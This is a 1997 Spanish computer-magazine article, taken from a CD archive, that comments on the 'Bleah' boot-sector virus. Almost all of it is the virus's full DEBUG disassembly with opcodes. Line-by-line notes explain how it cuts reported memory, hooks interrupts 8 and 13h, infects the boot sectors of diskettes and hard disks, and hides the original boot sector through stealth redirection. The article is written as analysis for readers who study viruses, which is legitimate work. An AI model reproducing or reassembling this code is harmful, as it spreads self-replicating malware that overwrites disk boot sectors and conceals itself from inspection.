home *** CD-ROM | disk | FTP | other *** search
/ PCMania 64 / PCMania CD64_1.iso / phy / phy004 / files / articulo.t08 < prev    next >
Encoding:
Text File  |  1997-06-09  |  23.1 KB  |  335 lines

  1. ε;;----  COMENTARIO DEL VIRUS    B L E A Hπ
  2. ε;;;                             ---------π   
  3.  
  4. Γ;; En este número vamos a dar el comentario de un virus de BOOT (sí, tambiénπ
  5. Γ;; existen estos). Bleah, se llama (bueno, eso es lo que dice el Scan). Comoπ
  6. Γ;; es NEW (lo que pone en el VSUM de Patricia F. Hoffman), no sabemos la dis-π
  7. Γ;; tribución de este pequeño canalla, pero sí sabemos que en la Universidad π
  8. Γ;; de Valencia es bastante popular (de algún sitio tendría que haberlo pilla-π
  9. Γ;; do, ¿no?). ¡Bueno, basta de gilipolleces, y a lo importante, que es el vi-π
  10. Γ;; rus! Como de costumbre, su ficha técnica:
  11.  
  12. Γ;; FICHA TÉSNICA (Uy, perdón!)... TÉCNICA DEL VIRUS:                         π
  13. Γ;;--------------------------------------------------                         π
  14.  
  15. Γ;; - Infección de BOOT sectors de diskettes y discos duros en cualquier llama-π
  16. Γ;;   da con número de función par a la int. 13h                              π
  17. Γ;; - Stealth (si se intenta leer el BOOT sector desde algún programa como el π
  18. Γ;;   DEBUG, el programa leerá el BOOT original).                             π
  19. Γ;; - No tiene efecto. Se limita a copiarse.                                  π
  20. Γ;; - Y si hay algo más, no me acuerdo.                                       π
  21.  
  22. Γ;;                                              ∞Líyak el Oscuroπ
  23.  
  24. 0DC4:0100 EB3C          JMP     013E         Γ; Salta al inicio del virusπ
  25. 0DC4:0102 90            NOP
  26. 0DC4:0103 2020          AND     [BX+SI],AH   Γ; Información del BOOT del discoπ
  27. 0DC4:0105 2020          AND     [BX+SI],AH   Γ; portador                      π
  28. 0DC4:0107 2020          AND     [BX+SI],AH
  29. 0DC4:0109 2020          AND     [BX+SI],AH
  30. 0DC4:010B 0002          ADD     [BP+SI],AL
  31. 0DC4:010D 0101          ADD     [BX+DI],AX
  32. 0DC4:010F 0002          ADD     [BP+SI],AL
  33. 0DC4:0111 E000          LOOPNZ  0113
  34. 0DC4:0113 40            INC     AX
  35. 0DC4:0114 0BF0          OR      SI,AX
  36. 0DC4:0116 0900          OR      [BX+SI],AX
  37. 0DC4:0118 1200          ADC     AL,[BX+SI]
  38. 0DC4:011A 0200          ADD     AL,[BX+SI]
  39. 0DC4:011C 0000          ADD     [BX+SI],AL
  40. 0DC4:011E 0000          ADD     [BX+SI],AL
  41. 0DC4:0120 0000          ADD     [BX+SI],AL
  42. 0DC4:0122 0000          ADD     [BX+SI],AL
  43. 0DC4:0124 0000          ADD     [BX+SI],AL
  44. 0DC4:0126 0000          ADD     [BX+SI],AL
  45. 0DC4:0128 0000          ADD     [BX+SI],AL
  46. 0DC4:012A 0000          ADD     [BX+SI],AL
  47. 0DC4:012C 0000          ADD     [BX+SI],AL
  48. 0DC4:012E 0000          ADD     [BX+SI],AL
  49. 0DC4:0130 0000          ADD     [BX+SI],AL
  50. 0DC4:0132 0000          ADD     [BX+SI],AL
  51. 0DC4:0134 0000          ADD     [BX+SI],AL
  52. 0DC4:0136 0000          ADD     [BX+SI],AL
  53. 0DC4:0138 0000          ADD     [BX+SI],AL
  54. 0DC4:013A 0000          ADD     [BX+SI],AL
  55. 0DC4:013C 0000          ADD     [BX+SI],AL
  56. 0DC4:013E 33FF          XOR     DI,DI      Γ; Pone DI a 0π
  57. 0DC4:0140 BB1304        MOV     BX,0413    Γ; En BX la dirección de la cantidadπ
  58.                                            Γ; de memoria disponible del sistemaπ
  59.                                            Γ; (en 0000:0413).                  π
  60. 0DC4:0143 BE007C        MOV     SI,7C00    Γ; Inicio del BOOT sector cargado enπ
  61.                                            Γ; memoria por el sistema           π
  62. 0DC4:0146 FA            CLI                Γ; Prohibe interrupciones           π
  63. 0DC4:0147 8ED7          MOV     SS,DI      Γ; SS a 0                           π
  64. 0DC4:0149 8BE6          MOV     SP,SI      Γ; SP con 7C00h                     π
  65. 0DC4:014B 8EDF          MOV     DS,DI      Γ; DS a 0                           π
  66. 0DC4:014D A12200        MOV     AX,[0022]  Γ; En AX el CS de la interrupción 8 π
  67.                                            Γ; (timer del sistema)              π
  68. 0DC4:0150 3D00F0        CMP     AX,F000    Γ; Comprueba si el CS es F000 (dondeπ
  69.                                            Γ; inicialmente se direcciona esta  π
  70.                                            Γ; interrupción). Si es diferente,  π
  71.                                            Γ; es que u otro programa está usán-π
  72.                                            Γ; dola, y por tanto provoca un     π
  73.                                            Γ; cuelgue del sistema, o está sien-π
  74.                                            Γ; do usada por el mismo virus, y   π
  75.                                            Γ; en ese caso salta a su código.   π
  76. 0DC4:0153 7525          JNZ     017A       Γ; Si no es, salta                  π
  77. 0DC4:0155 A3047C        MOV     [7C04],AX  Γ; Guarda en esta dirección el CS deπ
  78.                                            Γ; la interrupción 8                π
  79. 0DC4:0158 A12000        MOV     AX,[0020]  Γ; Coge el IP de susodicha int. (ké π
  80.                                            Γ; kulto ke soi :).                 π
  81. 0DC4:015B A3027C        MOV     [7C02],AX  Γ; Lo guarda                        π
  82. 0DC4:015E 8B07          MOV     AX,[BX]    Γ; Coge la memoria total del sistemaπ
  83. 0DC4:0160 A30A7C        MOV     [7C0A],AX  Γ; La guarda                        π
  84. 0DC4:0163 C6077E        MOV     BYTE PTR [BX],7E Γ; Como en BX, a no ser que   π
  85.                                                  Γ; sea un caso especial, esta-π
  86.                                                  Γ; rá el valor 280h (640d) en π
  87.                                                  Γ; formato INTEL (en palabra  π
  88.                                                  Γ; invertida), si en 8002 le  π
  89.                                                  Γ; pone el valor 7E al primer π
  90.                                                  Γ; byte, conseguirá restarle  π
  91.                                                  Γ; 2 Kb a la memoria total.   π
  92. 0DC4:0166 B8809F        MOV     AX,9F80    Γ; Y en el nuevo segmento "reserva- π
  93.                                            Γ; do" (aunque mejor decir "robado")π
  94.                                            Γ; pondrá el virus, esto es, en el  π
  95.                                            Γ; segmento 9F80.                   π
  96. 0DC4:0169 8EC0          MOV     ES,AX      Γ; Pone éste en ES                  π
  97. 0DC4:016B B99A01        MOV     CX,019A    Γ; En CX la longitud del virus      π
  98. 0DC4:016E F3            REPZ
  99. 0DC4:016F A4            MOVSB              Γ; Lo copia allí.                   π
  100. 0DC4:0170 C7062000CF00  MOV     WORD PTR [0020],00CF  Γ; Pone el nuevo puntero π
  101. 0DC4:0176 8C062200      MOV     [0022],ES  Γ; de la int 8 apuntando (valga la  π
  102.                                            Γ; redundancia :) al código del vi- π
  103.                                            Γ; rus que hay preparado a tal efec-π
  104.                                            Γ; to.                              π
  105. 0DC4:017A 8B3EBF7D      MOV     DI,[7DBF]  Γ; En DI ???                        π
  106. 0DC4:017E EA8300809F    JMP     9F80:0083  Γ; Salta al código en memoria...    π
  107.  
  108.                                          Γ; ...aquí.                           π
  109. 0DC4:0183 E83A00        CALL    01C0     Γ; Función para obtener el puntero de π
  110.                                          Γ; la interrupción 13h y guardarlo en π
  111.                                          Γ; lugar seguro.                      π
  112. 0DC4:0186 1E            PUSH    DS
  113. 0DC4:0187 07            POP     ES       Γ; ES = 0                             π
  114. 0DC4:0188 8BDC          MOV     BX,SP    Γ; En BX el valor 7C00                π
  115. 0DC4:018A B02D          MOV     AL,2D    Γ; Obtiene por BIOS la configuración  π
  116. 0DC4:018C E670          OUT     70,AL    Γ; de arranque del ordenador del      π
  117. 0DC4:018E E471          IN      AL,71    Γ; SETUP.                             π
  118. 0DC4:0190 50            PUSH    AX       Γ; Guarda AX (donde tiene esto).      π
  119. 0DC4:0191 24BF          AND     AL,BF    Γ; Desconecta la velocidad alta de    π
  120. 0DC4:0193 E671          OUT     71,AL    Γ; arranque y conecta la búsqueda al  π
  121.                                          Γ; arrancar de unidades de diskette   π
  122.                                          Γ; (todo ello por si no está como el  π
  123.                                          Γ; virus quiere que esté, claro).     π
  124. 0DC4:0195 BA8000        MOV     DX,0080  Γ; Ahora pone en en DX, CX y AX los   π
  125. 0DC4:0198 B90100        MOV     CX,0001  Γ; valores necesarios para llamar a laπ
  126. 0DC4:019B B80102        MOV     AX,0201  Γ; función de la int 13h de lectura y π
  127.                                          Γ; leer el BOOT del disco duro        π
  128. 0DC4:019E 9C            PUSHF            Γ; Guarda banderas                    π
  129. 0DC4:019F 0E            PUSH    CS       Γ; Guarda el CS (todo esto para emularπ
  130.                                          Γ; después una instrucción INT)       π
  131. 0DC4:01A0 E85E00        CALL    0201     Γ; Llamada a la int 13h directamente  π
  132.                                          Γ; por su propia función, aprovechandoπ
  133.                                          Γ; que el CALL guarda el IP en stack. π
  134.                                          Γ; Como antes ha guardado banderas y  π
  135.                                          Γ; CS, queda nivelado y después del   π
  136.                                          Γ; IRET de la interrupción, retornará π
  137.                                          Γ; aquí.                              π
  138.                                          Γ; Además de leer el BOOT original y  π
  139.                                          Γ; dejarlo en 0000:7C00, infectará el π
  140.                                          Γ; disco duro si éste no está infec-  π
  141.                                          Γ; tado.                              π
  142.  
  143. 0DC4:01A3 FA            CLI              Γ; Prohíbe interrupciones             π
  144. 0DC4:01A4 B02D          MOV     AL,2D    Γ; Activa la función de obtención de  π
  145. 0DC4:01A6 E670          OUT     70,AL    Γ; la configuración del arranque del  π
  146.                                          Γ; ordenador...                       π
  147. 0DC4:01A8 58            POP     AX       Γ; ... , saca la configuración que ob-π
  148.                                          Γ; tuvo antes...                      π
  149. 0DC4:01A9 E671          OUT     71,AL    Γ; ... y la restaura.                 π
  150. 0DC4:01AB 81FF0101      CMP     DI,0101  Γ; ???                                π
  151. 0DC4:01AF 740A          JZ      01BB     Γ; Si se ha arrancado desde diskette, π
  152.                                          Γ; no salta.                          π
  153. 0DC4:01B1 BA0001        MOV     DX,0100  Γ; Lee el diskette.                   π
  154. 0DC4:01B4 B10E          MOV     CL,0E    Γ; Lee el BOOT original (almacenado   π
  155.                                          Γ; en este sector y cabezal)          π
  156. 0DC4:01B6 B80102        MOV     AX,0201  Γ; Función de lectura y cantidad de   π
  157.                                          Γ; sectores a leer                    π
  158. 0DC4:01B9 CD13          INT     13        Γ; Ejecuta la interrupción           π
  159. 0DC4:01BB EA007C0000    JMP     0000:7C00 Γ; Salta al BOOT original            π
  160.  
  161.                                       Γ; Función llamada desde :0183           π
  162. 0DC4:01C0 A14C00        MOV     AX,[004C]  Γ; Obtiene en AX el IP de la int 13hπ
  163. 0DC4:01C3 2E            CS:                                                   π
  164. 0DC4:01C4 A30600        MOV     [0006],AX  Γ; Lo guarda en :0106 (:0106 aquí,  π
  165.                                            Γ; :0006 en el código en memoria)   π
  166. 0DC4:01C7 A14E00        MOV     AX,[004E]  Γ; Obtiene ahora el CS              π
  167. 0DC4:01CA 2E            CS:
  168. 0DC4:01CB A30800        MOV     [0008],AX  Γ; Lo guarda también                π
  169. 0DC4:01CE C3            RET                Γ; Retorna                          π
  170.  
  171. Γ;;;;;;;;;;;;;; NUEVA INTERRUPCION 8h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;π
  172.  
  173. 0DC4:01CF 2E            CS:
  174. 0DC4:01D0 803E0900F0    CMP     BYTE PTR [0009],F0  Γ; Comprueba si en la di-  π
  175.                                                     Γ; rección :0009 está el   π
  176.                                                     Γ; valor F0h               π
  177. 0DC4:01D5 7525          JNZ     01FC     Γ; Si no es, acaba                    π
  178. 0DC4:01D7 50            PUSH    AX       Γ; Guarda AX y DS                     π
  179. 0DC4:01D8 1E            PUSH    DS
  180. 0DC4:01D9 33C0          XOR     AX,AX    Γ; DS = 0                             π
  181. 0DC4:01DB 8ED8          MOV     DS,AX
  182. 0DC4:01DD A1BA00        MOV     AX,[00BA]  Γ; En AX el CS de la int. 2Ch       π
  183. 0DC4:01E0 3B06B600      CMP     AX,[00B6]  Γ; Lo compara con el de la 2Bh      π
  184. 0DC4:01E4 7414          JZ      01FA       Γ; Si es igual, significa que el    π
  185.                                            Γ; DOS ya ha sido instalado y termi-π
  186.                                            Γ; na.                              π
  187. 0DC4:01E6 2E            CS:
  188. 0DC4:01E7 A10A00        MOV     AX,[000A]  Γ; Coge la memoria original del or- π
  189.                                            Γ; denador                          π
  190. 0DC4:01EA A31304        MOV     [0413],AX  Γ; Lo pone como tamaño de memoria   π
  191.                                            Γ; del sistema                      π
  192. 0DC4:01ED E8D0FF        CALL    01C0       Γ; Obtiene el puntero de la int 13h π
  193.                                            Γ; y lo guarda                      π
  194. 0DC4:01F0 C7064C000101  MOV     WORD PTR [004C],0101 Γ; Pone la int 13h apun-  π
  195. 0DC4:01F6 8C0E4E00      MOV     [004E],CS  Γ; tando a su código.               π
  196. 0DC4:01FA 1F            POP     DS         Γ; Recupera DS y AX                 π
  197. 0DC4:01FB 58            POP     AX
  198. 0DC4:01FC 2E            CS:       
  199. 0DC4:01FD FF2E0200      JMP     FAR [0002] Γ; Salta a la dirección original de π
  200.                                            Γ; la int 08h.                      π
  201.  
  202. Γ;;;;;;;;; NUEVA INTERRUPCION 13h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;π
  203.  
  204.                                            Γ; Desde :01A0                      π
  205. 0DC4:0201 9C            PUSHF              Γ; Guarda banderas y todos los re-  π
  206. 0DC4:0202 55            PUSH    BP         Γ; gistros.                         π
  207. 0DC4:0203 50            PUSH    AX
  208. 0DC4:0204 53            PUSH    BX
  209. 0DC4:0205 51            PUSH    CX
  210. 0DC4:0206 52            PUSH    DX
  211. 0DC4:0207 56            PUSH    SI
  212. 0DC4:0208 57            PUSH    DI
  213. 0DC4:0209 1E            PUSH    DS
  214. 0DC4:020A 06            PUSH    ES
  215. 0DC4:020B 8BEC          MOV     BP,SP      Γ; En BP, SP (obvio, ¿no?)          π
  216. 0DC4:020D 80EC02        SUB     AH,02      Γ; Le resta 2 a AH.                 π
  217. 0DC4:0210 F6C4FE        TEST    AH,FE      Γ; Mira si es impar                 π
  218. 0DC4:0213 7576          JNZ     028B       Γ; Si es impar, sale                π
  219. 0DC4:0215 F7C1C0FF      TEST    CX,FFC0    Γ; Mira si se intenta leer o hacer  π
  220.                                            Γ; algo con los primeros 32 sectoresπ
  221.                                            Γ; del disco que se vaya a leer     π
  222. 0DC4:0219 7570          JNZ     028B       Γ; Si no, sale                      π
  223. 0DC4:021B 0AF6          OR      DH,DH      Γ; Es 0?                            π
  224. 0DC4:021D 756C          JNZ     028B       Γ; Si no lo es, sale                π
  225. 0DC4:021F 0E            PUSH    CS         Γ; DS=CS                            π
  226. 0DC4:0220 1F            POP     DS
  227. 0DC4:0221 0E            PUSH    CS         Γ; ES=CS                            π
  228. 0DC4:0222 07            POP     ES
  229. 0DC4:0223 BB0002        MOV     BX,0200    Γ; Pone el buffer de lectura en :200π
  230.                                            Γ; (:0300 sería aquí, pero esto no  π
  231.                                            Γ; es la situación real, claro).    π
  232. 0DC4:0226 B101          MOV     CL,01      Γ; Pone para leer el primer sector  π
  233. 0DC4:0228 B80102        MOV     AX,0201    Γ; Lee el primer sector del disco   π
  234. 0DC4:022B 9C            PUSHF              Γ; en cuestión                      π
  235. 0DC4:022C FF1E0600      CALL    FAR [0006]
  236.                                            
  237. 0DC4:0230 7259          JB      028B       Γ; Si hay error, salta.             π
  238. 0DC4:0232 807F4113      CMP     BYTE PTR [BX+41],13 Γ; ¿Es el byte 41h del sec-π
  239.                                                     Γ; tor el valor 13h?       π
  240. 0DC4:0236 7433          JZ      026B       Γ; Si lo es, está infectado, y por  π
  241.                                            Γ; tanto salta                      π
  242.                                            Γ; Aquí llega si no está infectado  π
  243.                                            Γ; el BOOT del disco.               π
  244. 0DC4:0238 B80103        MOV     AX,0301    Γ; Función de escritura.            π
  245. 0DC4:023B 50            PUSH    AX         Γ; Guarda AX                        π
  246. 0DC4:023C 41            INC     CX         Γ; Incrementa CX (guardará en el si-π
  247.                                            Γ; guiente sector el BOOT sano).    π
  248. 0DC4:023D 80FA80        CMP     DL,80      Γ; ¿Es disco duro?                  π
  249. 0DC4:0240 730A          JNB     024C       Γ; Si lo es, salta                  π
  250.                                            Γ; Aquí si es diskette              π
  251. 0DC4:0242 807F180E      CMP     BYTE PTR [BX+18],0E  Γ; Comprueba si el número π
  252.                                                 Γ; de sectores por pista del   π
  253.                                                 Γ; diskette este es de al menosπ
  254.                                                 Γ; 14                          π
  255. 0DC4:0246 7209          JB      0251       Γ; Si es menor, no lo escribe       π
  256. 0DC4:0248 B10E          MOV     CL,0E      Γ; En caso de que sea mayor o igual,π
  257.                                            Γ; escribe en el sector 14 del discoπ
  258.                                            Γ; el antiguo BOOT                  π
  259. 0DC4:024A FEC6          INC     DH         Γ; Incrementa también el número de  π
  260.                                            Γ; cabezal donde lo escribirá.      π
  261.                                           Γ; Aquí si es disco duro             π
  262. 0DC4:024C 9C            PUSHF              Γ; Ejecuta la interrupción 13h      π
  263. 0DC4:024D FF1E0600      CALL    FAR [0006]                                    
  264. 0DC4:0251 C707EB3C      MOV     WORD PTR [BX],3CEB Γ; Inserta en el inicio del π
  265.                                            Γ; BOOT leído anteriormente la ins- π
  266.                                            Γ; trucción de salto JMP SHORT 003Ehπ
  267. 0DC4:0255 BE3E00        MOV     SI,003E    Γ; Copia el virus sobre el programa π
  268. 0DC4:0258 BF3E02        MOV     DI,023E    Γ; del BOOT original en memoria pa- π
  269. 0DC4:025B B95C01        MOV     CX,015C    Γ; ra preservar los valores origina-π
  270. 0DC4:025E F3            REPZ               Γ; les y hacerlo lo más compatible  π
  271. 0DC4:025F A4            MOVSB              Γ; posible (hay virus que no hacen  π
  272.                                            Γ; esto y tienen una especie de BOOTπ
  273.                                            Γ; standard que "en teoría" sirve   π
  274.                                            Γ; para todo tipo de discos, pero   π
  275.                                            Γ; sólo en teoría, puesto que en la π
  276.                                            Γ; práctica sólo consiguen en la ma-π
  277.                                            Γ; yoría de los casos joder el discoπ
  278.                                            Γ; que han infectado).              π
  279. 0DC4:0260 B600          MOV     DH,00      Γ; Escribe en el cabezal 0, sector 1π
  280. 0DC4:0262 41            INC     CX         Γ; y cilindro 0 (o sea, el BOOT sec-π
  281.                                            Γ; tor) el nuevo BOOT que el virus  π
  282.                                            Γ; ha hecho.                        π
  283. 0DC4:0263 58            POP     AX         Γ; Saca 0301h que tenía guardado de π
  284.                                            Γ; antes.                           π
  285. 0DC4:0264 9C            PUSHF              Γ; Y ejecuta la int. 13h            π
  286. 0DC4:0265 FF1E0600      CALL    FAR [0006]
  287. 0DC4:0269 7220          JB      028B       Γ; Si hay error, acaba              π
  288. 0DC4:026B 8A460A        MOV     AL,[BP+0A] Γ; Coge el valor con el que el re-  π
  289.                                            Γ; gistro CL ha entrado en la fun-  π
  290.                                            Γ; ción (no olvidemos que el segmen-π
  291.                                            Γ; to por defecto con el que opera- π
  292.                                            Γ; mos cuando usamos BP es SS: y no π
  293.                                            Γ; DS: ).                           π
  294. 0DC4:026E 80FA80        CMP     DL,80      Γ; ¿Es disco duro?                  π
  295. 0DC4:0271 7209          JB      027C       Γ; Si es diskette, salta            π
  296. 0DC4:0273 3C02          CMP     AL,02      Γ; Es el sector 02, al menos?       π
  297. 0DC4:0275 7714          JA      028B       Γ; Si es mayor, salta               π
  298. 0DC4:0277 FE460A        INC     BYTE PTR [BP+0A] Γ; Incrementa el número de    π
  299.                                                  Γ; sector a leer. Es el siste-π
  300.                                                  Γ; ma stealth: si se intenta  π
  301.                                                  Γ; leer el primer sector del  π
  302.                                                  Γ; BOOT, se desvía al BOOT    π
  303.                                                  Γ; original (que está guardadoπ
  304.                                                  Γ; en el sector no. 2), y si  π
  305.                                                  Γ; se intenta leer el segundo π
  306.                                                  Γ; sector del BOOT (donde es- π
  307.                                                  Γ; tá guardado el BOOT origi- π
  308.                                                  Γ; nal) se desvía al siguien- π
  309.                                                  Γ; te, que normalmente será   π
  310.                                                  Γ; todo 0s.                   π
  311. 0DC4:027A EB0F          JMP     028B             Γ; Acaba.                     π
  312.                                                  Γ; Aquí si es diskette.       π
  313. 0DC4:027C 3C01          CMP     AL,01            Γ; ¿Se intenta leer el primer π
  314.                                                  Γ; sector del disco?          π
  315. 0DC4:027E 750B          JNZ     028B             Γ; Si no, acaba               π
  316. 0DC4:0280 807F180E      CMP     BYTE PTR [BX+18],0E Γ; Comprueba si el número  π
  317.                                                  Γ; de sectores por pista es 14π
  318. 0DC4:0284 7205          JB      028B             Γ; Si es menor, acaba         π
  319. 0DC4:0286 C74609010E    MOV     WORD PTR [BP+09],0E01 Γ; Si no es menor, aquí  π
  320.                                                       Γ; es donde está guardadoπ
  321.                                                       Γ; el boot original en unπ
  322.                                                       Γ; diskette infectado.   π
  323. 0DC4:028B 07            POP     ES              Γ; Saca todo el stack          π
  324. 0DC4:028C 1F            POP     DS
  325. 0DC4:028D 5F            POP     DI
  326. 0DC4:028E 5E            POP     SI
  327. 0DC4:028F 5A            POP     DX
  328. 0DC4:0290 59            POP     CX
  329. 0DC4:0291 5B            POP     BX
  330. 0DC4:0292 58            POP     AX
  331. 0DC4:0293 5D            POP     BP
  332. 0DC4:0294 9D            POPF
  333. 0DC4:0295 2E            CS:                     Γ; Ejecuta la interrupción.    π
  334. 0DC4:0296 FF2E0600      JMP     FAR [0006]
  335.